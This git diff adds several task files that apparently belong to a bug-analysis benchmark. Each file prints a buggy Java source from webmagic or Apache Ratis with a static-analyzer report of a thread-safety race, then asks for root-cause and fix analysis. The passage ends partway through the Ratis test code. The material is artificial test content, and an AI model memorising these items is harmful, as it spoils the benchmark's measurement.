diff --git a/inferredbugs-5429/instruction.md b/inferredbugs-5429/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..c06c3f1c331fcc1a07f1043769af809cdb47198e
--- /dev/null
+++ b/inferredbugs-5429/instruction.md
@@ -0,0 +1,375 @@
+# InferredBugs Task - Java
+
+## Project Information
+
+**Project:** webmagic
+**Bug ID:** 8
+**Language:** java
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```java
+package us.codecraft.webmagic;
+
+import org.apache.commons.collections.CollectionUtils;
+import org.apache.log4j.Logger;
+import us.codecraft.webmagic.downloader.Destroyable;
+import us.codecraft.webmagic.downloader.Downloader;
+import us.codecraft.webmagic.downloader.HttpClientDownloader;
+import us.codecraft.webmagic.pipeline.ConsolePipeline;
+import us.codecraft.webmagic.pipeline.Pipeline;
+import us.codecraft.webmagic.processor.PageProcessor;
+import us.codecraft.webmagic.schedular.QueueScheduler;
+import us.codecraft.webmagic.schedular.Scheduler;
+import us.codecraft.webmagic.utils.ThreadUtils;
+
+import java.util.ArrayList;
+import java.util.List;
+import java.util.concurrent.ExecutorService;
+import java.util.concurrent.atomic.AtomicInteger;
+
+/**
+ * <pre>
+ * webmagic爬虫的入口类。
+ *
+ * 示例：
+ * 定义一个最简单的爬虫：
+ *      Spider.create(new SimplePageProcessor("http://my.oschina.net/", "http://my.oschina.net/*blog/*")).run();
+ *
+ * 使用FilePipeline保存结果到文件:
+ *      Spider.create(new SimplePageProcessor("http://my.oschina.net/", "http://my.oschina.net/*blog/*"))
+ *          .pipeline(new FilePipeline("/data/temp/webmagic/")).run();
+ *
+ * 使用FileCacheQueueScheduler缓存URL，关闭爬虫后下次自动从停止的页面继续抓取:
+ *      Spider.create(new SimplePageProcessor("http://my.oschina.net/", "http://my.oschina.net/*blog/*"))
+ *          .scheduler(new FileCacheQueueScheduler("/data/temp/webmagic/cache/")).run();
+ * </pre>
+ *
+ * @author code4crafter@gmail.com <br>
+ *         Date: 13-4-21
+ *         Time: 上午6:53
+ */
+public class Spider implements Runnable, Task {
+
+    private Downloader downloader;
+
+    private List<Pipeline> pipelines = new ArrayList<Pipeline>();
+
+    private PageProcessor pageProcessor;
+
+    private List<String> startUrls;
+
+    private Site site;
+
+    private String uuid;
+
+    private Scheduler scheduler = new QueueScheduler();
+
+    private Logger logger = Logger.getLogger(getClass());
+
+    private ExecutorService executorService;
+
+    private AtomicInteger stat = new AtomicInteger(STAT_INIT);
+
+    private final static int STAT_INIT = 0;
+
+    private final static int STAT_RUNNING = 1;
+
+    private final static int STAT_STOPPED = 2;
+
+    /**
+     * 使用已定义的抽取规则新建一个Spider。
+     *
+     * @param pageProcessor 已定义的抽取规则
+     */
+    public Spider(PageProcessor pageProcessor) {
+        this.pageProcessor = pageProcessor;
+        this.site = pageProcessor.getSite();
+        this.startUrls = pageProcessor.getSite().getStartUrls();
+    }
+
+    /**
+     * 使用已定义的抽取规则新建一个Spider。
+     *
+     * @param pageProcessor 已定义的抽取规则
+     * @return 新建的Spider
+     */
+    public static Spider create(PageProcessor pageProcessor) {
+        return new Spider(pageProcessor);
+    }
+
+    /**
+     * 重新设置startUrls，会覆盖Site本身的startUrls。
+     *
+     * @param startUrls
+     * @return this
+     */
+    public Spider startUrls(List<String> startUrls) {
+        checkIfNotRunning();
+        this.startUrls = startUrls;
+        return this;
+    }
+
+    /**
+     * 为爬虫设置一个唯一ID，用于标志任务，默认情况下使用domain作为uuid，对于单domain多任务的情况，请为重复任务设置不同的ID。
+     *
+     * @param uuid 唯一ID
+     * @return this
+     */
+    public Spider setUUID(String uuid) {
+        this.uuid = uuid;
+        return this;
+    }
+
+    /**
+     * 设置调度器。调度器用于保存待抓取URL，并可以进行去重、同步、持久化等工作。默认情况下使用内存中的阻塞队列进行调度。
+     *
+     * @param scheduler 调度器
+     * @return this
+     */
+    public Spider scheduler(Scheduler scheduler) {
+        checkIfNotRunning();
+        this.scheduler = scheduler;
+        return this;
+    }
+
+    /**
+     * 设置处理管道。处理管道用于最终抽取结果的后处理，例如：保存到文件、保存到数据库等。默认情况下会输出到控制台。
+     *
+     * @param pipeline 处理管道
+     * @return this
+     */
+    public Spider pipeline(Pipeline pipeline) {
+        checkIfNotRunning();
+        this.pipelines.add(pipeline);
+        return this;
+    }
+
+    public Spider downloader(Downloader downloader) {
+        checkIfNotRunning();
+        this.downloader = downloader;
+        return this;
+    }
+
+    protected void checkComponent() {
+        if (downloader == null) {
+            this.downloader = new HttpClientDownloader();
+        }
+    }
+
+    @Override
+    public void run() {
+        if (!stat.compareAndSet(STAT_INIT, STAT_RUNNING)) {
+            throw new IllegalStateException("Spider is already running!");
+        }
+        checkComponent();
+        if (startUrls != null) {
+            for (String startUrl : startUrls) {
+                scheduler.push(new Request(startUrl), this);
+            }
+        }
+        Request request = scheduler.poll(this);
+        if (pipelines.isEmpty()) {
+            pipelines.add(new ConsolePipeline());
+        }
+        //singel thread
+        if (executorService == null) {
+            while (request != null) {
+                processRequest(request);
+                request = scheduler.poll(this);
+            }
+        } else {
+            //multi thread
+            final AtomicInteger threadAlive = new AtomicInteger(0);
+            while (true) {
+                if (request == null) {
+                    //when no request found but some thread is alive, sleep a while.
+                    try {
+                        Thread.sleep(100);
+                    } catch (InterruptedException e) {
+                    }
+                } else {
+                    final Request requestFinal = request;
+                    threadAlive.incrementAndGet();
+                    executorService.execute(new Runnable() {
+                        @Override
+                        public void run() {
+                            processRequest(requestFinal);
+                            threadAlive.decrementAndGet();
+                        }
+                    });
+                }
+                request = scheduler.poll(this);
+                if (threadAlive.get() == 0) {
+                    request = scheduler.poll(this);
+                    if (request == null) {
+                        break;
+                    }
+                }
+            }
+            executorService.shutdown();
+        }
+        stat.compareAndSet(STAT_RUNNING, STAT_STOPPED);
+        //release some resources
+        destroy();
+    }
+
+    private void destroy() {
+        destroyEach(downloader);
+        destroyEach(pageProcessor);
+        for (Pipeline pipeline : pipelines) {
+            destroyEach(pipeline);
+        }
+    }
+
+    private void destroyEach(Object object){
+        if (object instanceof Destroyable) {
+            ((Destroyable)object).destroy();
+        }
+    }
+
+    private void processRequest(Request request) {
+        Page page = downloader.download(request, this);
+        if (page == null) {
+            sleep(site.getSleepTime());
+            return;
+        }
+        pageProcessor.process(page);
+        addRequest(page);
+        for (Pipeline pipeline : pipelines) {
+            pipeline.process(page.getResultItems(), this);
+        }
+        sleep(site.getSleepTime());
+    }
+
+    private void sleep(int time) {
+        try {
+            Thread.sleep(time);
+        } catch (InterruptedException e) {
+            e.printStackTrace();
+        }
+    }
+
+    private void addRequest(Page page) {
+        if (CollectionUtils.isNotEmpty(page.getTargetRequests())) {
+            for (Request request : page.getTargetRequests()) {
+                scheduler.push(request, this);
+            }
+        }
+    }
+
+    private void checkIfNotRunning() {
+        if (!stat.compareAndSet(STAT_INIT, STAT_INIT)) {
+            throw new IllegalStateException("Spider is already running!");
+        }
+    }
+
+    public void runAsync() {
+        Thread thread = new Thread(this);
+        thread.setDaemon(false);
+        thread.start();
+    }
+
+    /**
+     * 建立多个线程下载
+     *
+     * @param threadNum 线程数
+     * @return this
+     */
+    public Spider thread(int threadNum) {
+        checkIfNotRunning();
+        if (threadNum <= 0) {
+            throw new IllegalArgumentException("threadNum should be more than one!");
+        }
+        if (downloader==null || downloader instanceof HttpClientDownloader){
+            downloader = new HttpClientDownloader(threadNum);
+        }
+        if (threadNum == 1) {
+            return this;
+        }
+        synchronized (this) {
+            this.executorService = ThreadUtils.newFixedThreadPool(threadNum);
+        }
+        return this;
+    }
+
+    @Override
+    public String getUUID() {
+        if (uuid != null) {
+            return uuid;
+        }
+        if (site != null) {
+            return site.getDomain();
+        }
+        return null;
+    }
+
+    @Override
+    public Site getSite() {
+        return site;
+    }
+}
+
+```
+
+### Bug Class:
+PROVER
+
+### Kind:
+ERROR
+
+### Bug Type:
+THREAD_SAFETY_VIOLATION
+
+### Qualifier:
+Unprotected write. Non-private method `us.codecraft.webmagic.Spider.thread` writes to field `this.us.codecraft.webmagic.Spider.downloader` outside of synchronization.
+ Reporting because this access may occur on a background thread.
+
+### Severity:
+HIGH
+
+### Visibility:
+user
+
+### Procedure:
+Spider Spider.thread(int)
+
+### Procedure Id:
+us.codecraft.webmagic.Spider.thread(int):us.codecraft.webmagic.Spider.e4ad84957f0e798c63f232cc730c1aa2
+
+### File:
+webmagic-core/src/main/java/us/codecraft/webmagic/Spider.java
+
+### Key:
+Spider.java|thread|THREAD_SAFETY_VIOLATION
+
+### Node Key:
+9c5d6d9028928346cc4fb44cced5dea1
+
+### Hash:
+386e906c4cce14802e716962cdffdfba
+
+### Bug Type Hum:
+Thread Safety Violation
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-5443/instruction.md b/inferredbugs-5443/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..7dc6143d926234914fb91880648e3be3c3b900ca
--- /dev/null
+++ b/inferredbugs-5443/instruction.md
@@ -0,0 +1,375 @@
+# InferredBugs Task - Java
+
+## Project Information
+
+**Project:** webmagic
+**Bug ID:** 3
+**Language:** java
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```java
+package us.codecraft.webmagic;
+
+import org.apache.commons.collections.CollectionUtils;
+import org.apache.log4j.Logger;
+import us.codecraft.webmagic.downloader.Destroyable;
+import us.codecraft.webmagic.downloader.Downloader;
+import us.codecraft.webmagic.downloader.HttpClientDownloader;
+import us.codecraft.webmagic.pipeline.ConsolePipeline;
+import us.codecraft.webmagic.pipeline.Pipeline;
+import us.codecraft.webmagic.processor.PageProcessor;
+import us.codecraft.webmagic.schedular.QueueScheduler;
+import us.codecraft.webmagic.schedular.Scheduler;
+import us.codecraft.webmagic.utils.ThreadUtils;
+
+import java.util.ArrayList;
+import java.util.List;
+import java.util.concurrent.ExecutorService;
+import java.util.concurrent.atomic.AtomicInteger;
+
+/**
+ * <pre>
+ * webmagic爬虫的入口类。
+ *
+ * 示例：
+ * 定义一个最简单的爬虫：
+ *      Spider.create(new SimplePageProcessor("http://my.oschina.net/", "http://my.oschina.net/*blog/*")).run();
+ *
+ * 使用FilePipeline保存结果到文件:
+ *      Spider.create(new SimplePageProcessor("http://my.oschina.net/", "http://my.oschina.net/*blog/*"))
+ *          .pipeline(new FilePipeline("/data/temp/webmagic/")).run();
+ *
+ * 使用FileCacheQueueScheduler缓存URL，关闭爬虫后下次自动从停止的页面继续抓取:
+ *      Spider.create(new SimplePageProcessor("http://my.oschina.net/", "http://my.oschina.net/*blog/*"))
+ *          .scheduler(new FileCacheQueueScheduler("/data/temp/webmagic/cache/")).run();
+ * </pre>
+ *
+ * @author code4crafter@gmail.com <br>
+ *         Date: 13-4-21
+ *         Time: 上午6:53
+ */
+public class Spider implements Runnable, Task {
+
+    private Downloader downloader;
+
+    private List<Pipeline> pipelines = new ArrayList<Pipeline>();
+
+    private PageProcessor pageProcessor;
+
+    private List<String> startUrls;
+
+    private Site site;
+
+    private String uuid;
+
+    private Scheduler scheduler = new QueueScheduler();
+
+    private Logger logger = Logger.getLogger(getClass());
+
+    private ExecutorService executorService;
+
+    private AtomicInteger stat = new AtomicInteger(STAT_INIT);
+
+    private final static int STAT_INIT = 0;
+
+    private final static int STAT_RUNNING = 1;
+
+    private final static int STAT_STOPPED = 2;
+
+    /**
+     * 使用已定义的抽取规则新建一个Spider。
+     *
+     * @param pageProcessor 已定义的抽取规则
+     */
+    public Spider(PageProcessor pageProcessor) {
+        this.pageProcessor = pageProcessor;
+        this.site = pageProcessor.getSite();
+        this.startUrls = pageProcessor.getSite().getStartUrls();
+    }
+
+    /**
+     * 使用已定义的抽取规则新建一个Spider。
+     *
+     * @param pageProcessor 已定义的抽取规则
+     * @return 新建的Spider
+     */
+    public static Spider create(PageProcessor pageProcessor) {
+        return new Spider(pageProcessor);
+    }
+
+    /**
+     * 重新设置startUrls，会覆盖Site本身的startUrls。
+     *
+     * @param startUrls
+     * @return this
+     */
+    public Spider startUrls(List<String> startUrls) {
+        checkIfNotRunning();
+        this.startUrls = startUrls;
+        return this;
+    }
+
+    /**
+     * 为爬虫设置一个唯一ID，用于标志任务，默认情况下使用domain作为uuid，对于单domain多任务的情况，请为重复任务设置不同的ID。
+     *
+     * @param uuid 唯一ID
+     * @return this
+     */
+    public Spider setUUID(String uuid) {
+        this.uuid = uuid;
+        return this;
+    }
+
+    /**
+     * 设置调度器。调度器用于保存待抓取URL，并可以进行去重、同步、持久化等工作。默认情况下使用内存中的阻塞队列进行调度。
+     *
+     * @param scheduler 调度器
+     * @return this
+     */
+    public Spider scheduler(Scheduler scheduler) {
+        checkIfNotRunning();
+        this.scheduler = scheduler;
+        return this;
+    }
+
+    /**
+     * 设置处理管道。处理管道用于最终抽取结果的后处理，例如：保存到文件、保存到数据库等。默认情况下会输出到控制台。
+     *
+     * @param pipeline 处理管道
+     * @return this
+     */
+    public Spider pipeline(Pipeline pipeline) {
+        checkIfNotRunning();
+        this.pipelines.add(pipeline);
+        return this;
+    }
+
+    public Spider downloader(Downloader downloader) {
+        checkIfNotRunning();
+        this.downloader = downloader;
+        return this;
+    }
+
+    protected void checkComponent() {
+        if (downloader == null) {
+            this.downloader = new HttpClientDownloader();
+        }
+    }
+
+    @Override
+    public void run() {
+        if (!stat.compareAndSet(STAT_INIT, STAT_RUNNING)) {
+            throw new IllegalStateException("Spider is already running!");
+        }
+        checkComponent();
+        if (startUrls != null) {
+            for (String startUrl : startUrls) {
+                scheduler.push(new Request(startUrl), this);
+            }
+        }
+        Request request = scheduler.poll(this);
+        if (pipelines.isEmpty()) {
+            pipelines.add(new ConsolePipeline());
+        }
+        //singel thread
+        if (executorService == null) {
+            while (request != null) {
+                processRequest(request);
+                request = scheduler.poll(this);
+            }
+        } else {
+            //multi thread
+            final AtomicInteger threadAlive = new AtomicInteger(0);
+            while (true) {
+                if (request == null) {
+                    //when no request found but some thread is alive, sleep a while.
+                    try {
+                        Thread.sleep(100);
+                    } catch (InterruptedException e) {
+                    }
+                } else {
+                    final Request requestFinal = request;
+                    threadAlive.incrementAndGet();
+                    executorService.execute(new Runnable() {
+                        @Override
+                        public void run() {
+                            processRequest(requestFinal);
+                            threadAlive.decrementAndGet();
+                        }
+                    });
+                }
+                request = scheduler.poll(this);
+                if (threadAlive.get() == 0) {
+                    request = scheduler.poll(this);
+                    if (request == null) {
+                        break;
+                    }
+                }
+            }
+            executorService.shutdown();
+        }
+        stat.compareAndSet(STAT_RUNNING, STAT_STOPPED);
+        //release some resources
+        destroy();
+    }
+
+    private void destroy() {
+        destroyEach(downloader);
+        destroyEach(pageProcessor);
+        for (Pipeline pipeline : pipelines) {
+            destroyEach(pipeline);
+        }
+    }
+
+    private void destroyEach(Object object){
+        if (object instanceof Destroyable) {
+            ((Destroyable)object).destroy();
+        }
+    }
+
+    private void processRequest(Request request) {
+        Page page = downloader.download(request, this);
+        if (page == null) {
+            sleep(site.getSleepTime());
+            return;
+        }
+        pageProcessor.process(page);
+        addRequest(page);
+        for (Pipeline pipeline : pipelines) {
+            pipeline.process(page.getResultItems(), this);
+        }
+        sleep(site.getSleepTime());
+    }
+
+    private void sleep(int time) {
+        try {
+            Thread.sleep(time);
+        } catch (InterruptedException e) {
+            e.printStackTrace();
+        }
+    }
+
+    private void addRequest(Page page) {
+        if (CollectionUtils.isNotEmpty(page.getTargetRequests())) {
+            for (Request request : page.getTargetRequests()) {
+                scheduler.push(request, this);
+            }
+        }
+    }
+
+    private void checkIfNotRunning() {
+        if (!stat.compareAndSet(STAT_INIT, STAT_INIT)) {
+            throw new IllegalStateException("Spider is already running!");
+        }
+    }
+
+    public void runAsync() {
+        Thread thread = new Thread(this);
+        thread.setDaemon(false);
+        thread.start();
+    }
+
+    /**
+     * 建立多个线程下载
+     *
+     * @param threadNum 线程数
+     * @return this
+     */
+    public Spider thread(int threadNum) {
+        checkIfNotRunning();
+        if (threadNum <= 0) {
+            throw new IllegalArgumentException("threadNum should be more than one!");
+        }
+        if (downloader==null || downloader instanceof HttpClientDownloader){
+            downloader = new HttpClientDownloader(threadNum);
+        }
+        if (threadNum == 1) {
+            return this;
+        }
+        synchronized (this) {
+            this.executorService = ThreadUtils.newFixedThreadPool(threadNum);
+        }
+        return this;
+    }
+
+    @Override
+    public String getUUID() {
+        if (uuid != null) {
+            return uuid;
+        }
+        if (site != null) {
+            return site.getDomain();
+        }
+        return null;
+    }
+
+    @Override
+    public Site getSite() {
+        return site;
+    }
+}
+
+```
+
+### Bug Class:
+PROVER
+
+### Kind:
+ERROR
+
+### Bug Type:
+THREAD_SAFETY_VIOLATION
+
+### Qualifier:
+Read/Write race. Non-private method `us.codecraft.webmagic.Spider.checkComponent` reads without synchronization from `this.us.codecraft.webmagic.Spider.downloader`. Potentially races with write in method `Spider.thread(...)`.
+ Reporting because another access to the same memory occurs on a background thread, although this access may not.
+
+### Severity:
+HIGH
+
+### Visibility:
+user
+
+### Procedure:
+void Spider.checkComponent()
+
+### Procedure Id:
+us.codecraft.webmagic.Spider.checkComponent():void.2282facd436df7acea4491638de6fdae
+
+### File:
+webmagic-core/src/main/java/us/codecraft/webmagic/Spider.java
+
+### Key:
+Spider.java|checkComponent|THREAD_SAFETY_VIOLATION
+
+### Node Key:
+9c5d6d9028928346cc4fb44cced5dea1
+
+### Hash:
+6909c9a391450e594e6f2131ba5844d9
+
+### Bug Type Hum:
+Thread Safety Violation
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-5445/instruction.md b/inferredbugs-5445/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..81aa65e3b289cf37f1002046f3e56918c27044b4
--- /dev/null
+++ b/inferredbugs-5445/instruction.md
@@ -0,0 +1,247 @@
+# InferredBugs Task - Java
+
+## Project Information
+
+**Project:** webmagic
+**Bug ID:** 40
+**Language:** java
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```java
+package us.codecraft.webmagic.scheduler;
+
+import org.apache.commons.io.IOUtils;
+import org.apache.commons.lang3.math.NumberUtils;
+import us.codecraft.webmagic.Request;
+import us.codecraft.webmagic.Task;
+
+import java.io.*;
+import java.util.LinkedHashSet;
+import java.util.Set;
+import java.util.concurrent.BlockingQueue;
+import java.util.concurrent.Executors;
+import java.util.concurrent.LinkedBlockingQueue;
+import java.util.concurrent.TimeUnit;
+import java.util.concurrent.atomic.AtomicBoolean;
+import java.util.concurrent.atomic.AtomicInteger;
+
+/**
+ * Store urls and cursor in files so that a Spider can resume the status when shutdown.<br>
+ *
+ * @author code4crafter@gmail.com <br>
+ * @since 0.2.0
+ */
+public class FileCacheQueueScheduler extends DuplicateRemovedScheduler implements MonitorableScheduler {
+
+    private String filePath = System.getProperty("java.io.tmpdir");
+
+    private String fileUrlAllName = ".urls.txt";
+
+    private Task task;
+
+    private String fileCursor = ".cursor.txt";
+
+    private PrintWriter fileUrlWriter;
+
+    private PrintWriter fileCursorWriter;
+
+    private AtomicInteger cursor = new AtomicInteger();
+
+    private AtomicBoolean inited = new AtomicBoolean(false);
+
+    private BlockingQueue<Request> queue;
+
+    private Set<String> urls;
+
+    public FileCacheQueueScheduler(String filePath) {
+        if (!filePath.endsWith("/") && !filePath.endsWith("\\")) {
+            filePath += "/";
+        }
+        this.filePath = filePath;
+    }
+
+    private void flush() {
+        fileUrlWriter.flush();
+        fileCursorWriter.flush();
+    }
+
+    private void init(Task task) {
+        this.task = task;
+        File file = new File(filePath);
+        if (!file.exists()) {
+            file.mkdirs();
+        }
+        readFile();
+        initWriter();
+        initFlushThread();
+        inited.set(true);
+        logger.info("init cache scheduler success");
+    }
+
+    private void initFlushThread() {
+        Executors.newScheduledThreadPool(1).scheduleAtFixedRate(new Runnable() {
+            @Override
+            public void run() {
+                flush();
+            }
+        }, 10, 10, TimeUnit.SECONDS);
+    }
+
+    private void initWriter() {
+        try {
+            fileUrlWriter = new PrintWriter(new FileWriter(getFileName(fileUrlAllName), true));
+            fileCursorWriter = new PrintWriter(new FileWriter(getFileName(fileCursor), false));
+        } catch (IOException e) {
+            throw new RuntimeException("init cache scheduler error", e);
+        }
+    }
+
+    private void readFile() {
+        try {
+            queue = new LinkedBlockingQueue<Request>();
+            urls = new LinkedHashSet<String>();
+            readCursorFile();
+            readUrlFile();
+        } catch (FileNotFoundException e) {
+            //init
+            logger.info("init cache file " + getFileName(fileUrlAllName));
+        } catch (IOException e) {
+            logger.error("init file error", e);
+        }
+    }
+
+    private void readUrlFile() throws IOException {
+        String line;
+        BufferedReader fileUrlReader = null;
+        try {
+            fileUrlReader = new BufferedReader(new FileReader(getFileName(fileUrlAllName)));
+            int lineReaded = 0;
+            while ((line = fileUrlReader.readLine()) != null) {
+                urls.add(line.trim());
+                lineReaded++;
+                if (lineReaded > cursor.get()) {
+                    queue.add(new Request(line));
+                }
+            }
+        } finally {
+            if (fileUrlReader != null) {
+                IOUtils.closeQuietly(fileUrlReader);
+            }
+        }
+    }
+
+    private void readCursorFile() throws IOException {
+        BufferedReader fileCursorReader = null;
+        try {
+        	fileCursorReader = new BufferedReader(new FileReader(getFileName(fileCursor)));
+            String line;
+            //read the last number
+            while ((line = fileCursorReader.readLine()) != null) {
+                cursor = new AtomicInteger(NumberUtils.toInt(line));
+            }
+        } finally {
+            if (fileCursorReader != null) {
+                IOUtils.closeQuietly(fileCursorReader);
+            }
+        }
+    }
+
+    private String getFileName(String filename) {
+        return filePath + task.getUUID() + filename;
+    }
+
+    @Override
+    protected void pushWhenNoDuplicate(Request request, Task task) {
+        if (!inited.get()) {
+            init(task);
+        }
+        if(urls.contains(request.getUrl())) //已存在此URL 表示已抓取过 跳过
+            return;
+        queue.add(request);
+        fileUrlWriter.println(request.getUrl());
+    }
+
+    @Override
+    public synchronized Request poll(Task task) {
+        if (!inited.get()) {
+            init(task);
+        }
+        fileCursorWriter.println(cursor.incrementAndGet());
+        return queue.poll();
+    }
+
+    @Override
+    public int getLeftRequestsCount(Task task) {
+        return queue.size();
+    }
+
+    @Override
+    public int getTotalRequestsCount(Task task) {
+        return getDuplicateRemover().getTotalRequestsCount(task);
+    }
+}
+
+```
+
+### Bug Class:
+PROVER
+
+### Kind:
+ERROR
+
+### Bug Type:
+THREAD_SAFETY_VIOLATION
+
+### Qualifier:
+Read/Write race. Non-private method `us.codecraft.webmagic.scheduler.FileCacheQueueScheduler.pushWhenNoDuplicate` reads without synchronization from `this.us.codecraft.webmagic.scheduler.FileCacheQueueScheduler.urls`. Potentially races with write in method `FileCacheQueueScheduler.poll(...)`.
+ Reporting because another access to the same memory occurs on a background thread, although this access may not.
+
+### Severity:
+HIGH
+
+### Visibility:
+user
+
+### Procedure:
+void FileCacheQueueScheduler.pushWhenNoDuplicate(Request,Task)
+
+### Procedure Id:
+us.codecraft.webmagic.scheduler.FileCacheQueueScheduler.pushWhenNoDuplicate(us.codecraft.webmagic.Re.12bf7541fca4a7ae8ee9357631008c55
+
+### File:
+webmagic-extension/src/main/java/us/codecraft/webmagic/scheduler/FileCacheQueueScheduler.java
+
+### Key:
+FileCacheQueueScheduler.java|pushWhenNoDuplicate|THREAD_SAFETY_VIOLATION
+
+### Node Key:
+9c5d6d9028928346cc4fb44cced5dea1
+
+### Hash:
+46cb9fbaf1217fa3232caf98d9e445ce
+
+### Bug Type Hum:
+Thread Safety Violation
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-5472/instruction.md b/inferredbugs-5472/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..366049b4ccc6589e6c8592b7c92dd6ef9401f110
--- /dev/null
+++ b/inferredbugs-5472/instruction.md
@@ -0,0 +1,580 @@
+# InferredBugs Task - Java
+
+## Project Information
+
+**Project:** incubator-ratis
+**Bug ID:** 5
+**Language:** java
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```java
+/*
+ * Licensed to the Apache Software Foundation (ASF) under one
+ * or more contributor license agreements.  See the NOTICE file
+ * distributed with this work for additional information
+ * regarding copyright ownership.  The ASF licenses this file
+ * to you under the Apache License, Version 2.0 (the
+ * "License"); you may not use this file except in compliance
+ * with the License.  You may obtain a copy of the License at
+ *
+ *     http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package org.apache.ratis;
+
+import com.codahale.metrics.Gauge;
+import org.apache.log4j.Level;
+import org.apache.ratis.RaftTestUtil.SimpleMessage;
+import org.apache.ratis.client.RaftClient;
+import org.apache.ratis.client.impl.RaftClientTestUtil;
+import org.apache.ratis.metrics.RatisMetricRegistry;
+import org.apache.ratis.protocol.RaftClientReply;
+import org.apache.ratis.protocol.RaftPeerId;
+import org.apache.ratis.server.RaftServer;
+import org.apache.ratis.server.RaftServerConfigKeys;
+import org.apache.ratis.server.impl.*;
+import org.apache.ratis.server.metrics.RatisMetricNames;
+import org.apache.ratis.server.metrics.RatisMetrics;
+import org.apache.ratis.server.raftlog.RaftLog;
+import org.apache.ratis.proto.RaftProtos.LogEntryProto;
+import org.apache.ratis.statemachine.impl.BaseStateMachine;
+import org.apache.ratis.util.ExitUtils;
+import org.apache.ratis.util.JavaUtils;
+import org.apache.ratis.util.LogUtils;
+import org.apache.ratis.util.TimeDuration;
+import org.junit.Assert;
+import org.junit.Test;
+import org.slf4j.Logger;
+
+import java.io.IOException;
+import java.util.List;
+import java.util.SortedMap;
+import java.util.Timer;
+import java.util.TimerTask;
+import java.util.concurrent.CompletableFuture;
+import java.util.concurrent.TimeUnit;
+import java.util.concurrent.atomic.AtomicBoolean;
+import java.util.concurrent.atomic.AtomicInteger;
+import java.util.concurrent.atomic.AtomicReference;
+import java.util.function.Predicate;
+import java.util.stream.Collectors;
+import java.util.stream.Stream;
+
+import static org.apache.ratis.RaftTestUtil.waitForLeader;
+
+public abstract class RaftBasicTests<CLUSTER extends MiniRaftCluster>
+    extends BaseTest
+    implements MiniRaftCluster.Factory.Get<CLUSTER> {
+  {
+    LogUtils.setLogLevel(RaftServerImpl.LOG, Level.DEBUG);
+    LogUtils.setLogLevel(RaftServerTestUtil.getStateMachineUpdaterLog(), Level.DEBUG);
+
+    RaftServerConfigKeys.RetryCache.setExpiryTime(getProperties(), TimeDuration.valueOf(5, TimeUnit.SECONDS));
+  }
+
+  public static final int NUM_SERVERS = 5;
+
+  @Test
+  public void testBasicAppendEntries() throws Exception {
+    runWithNewCluster(NUM_SERVERS, cluster ->
+        runTestBasicAppendEntries(false, false, 10, cluster, LOG));
+  }
+
+  @Test
+  public void testBasicAppendEntriesKillLeader() throws Exception {
+    runWithNewCluster(NUM_SERVERS, cluster ->
+        runTestBasicAppendEntries(false, true, 10, cluster, LOG));
+  }
+
+  static CompletableFuture<Void> killAndRestartServer(
+      RaftPeerId id, long killSleepMs, long restartSleepMs, MiniRaftCluster cluster, Logger LOG) {
+    final CompletableFuture<Void> future = new CompletableFuture<>();
+    new Thread(() -> {
+      try {
+        Thread.sleep(killSleepMs);
+        cluster.killServer(id);
+        Thread.sleep(restartSleepMs);
+        LOG.info("restart server: " + id);
+        cluster.restartServer(id, false);
+        future.complete(null);
+      } catch (Exception e) {
+        ExitUtils.terminate(-1, "Failed to kill/restart server: " + id, e, LOG);
+      }
+    }).start();
+    return future;
+  }
+
+  static void runTestBasicAppendEntries(
+      boolean async, boolean killLeader, int numMessages, MiniRaftCluster cluster, Logger LOG)
+      throws Exception {
+    LOG.info("runTestBasicAppendEntries: async? {}, killLeader={}, numMessages={}",
+        async, killLeader, numMessages);
+    for (RaftServer s : cluster.getServers()) {
+      cluster.restartServer(s.getId(), false);
+    }
+    RaftServerImpl leader = waitForLeader(cluster);
+    final long term = leader.getState().getCurrentTerm();
+
+    final CompletableFuture<Void> killAndRestartFollower = killAndRestartServer(
+        cluster.getFollowers().get(0).getId(), 0, 1000, cluster, LOG);
+    final CompletableFuture<Void> killAndRestartLeader;
